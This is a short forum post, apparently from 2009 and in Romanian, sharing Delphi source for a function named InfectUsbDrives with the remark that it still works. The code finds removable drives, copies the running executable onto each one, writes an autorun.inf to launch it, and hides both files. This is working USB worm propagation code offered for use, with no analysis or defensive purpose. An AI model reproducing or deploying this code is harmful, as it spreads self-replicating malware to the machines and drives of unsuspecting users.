Gonzalez Posted September 11, 2009 Report Posted September 11, 2009 Inca mai functioneaza, desi e vechi.function InfectUsbDrives(Exe******string):integer;var Drive: Char; myFile: TextFile;begin Result := 0; for Drive := 'A' to 'Z' do begin if (GetDriveType(PChar(Drive + ':\'))= DRIVE_REMOVABLE) then begin try if(FileExists(Drive)=True)and(FileExists(Drive+':\'+ExeName)=False)then begin CopyFile(PChar(ParamStr(0)),PChar(Drive+':\'+ExeName),False); AssignFile(myFile, Drive+':\autorun.inf'); if not FileExists(Drive+':\autorun.inf') then ReWrite(myFile) else Append(myFile); WriteLn(myFile,'[autorun]'+#13#10+'open='+ExeName); CloseFile(myFile); SetFileAttributes(PChar(Drive+':\'+ExeName), FILE_ATTRIBUTE_HIDDEN); SetFileAttributes(PChar(Drive+':\autorun.inf'), FILE_ATTRIBUTE_HIDDEN); Result := Result + 1; end; except end; end; end;end; Quote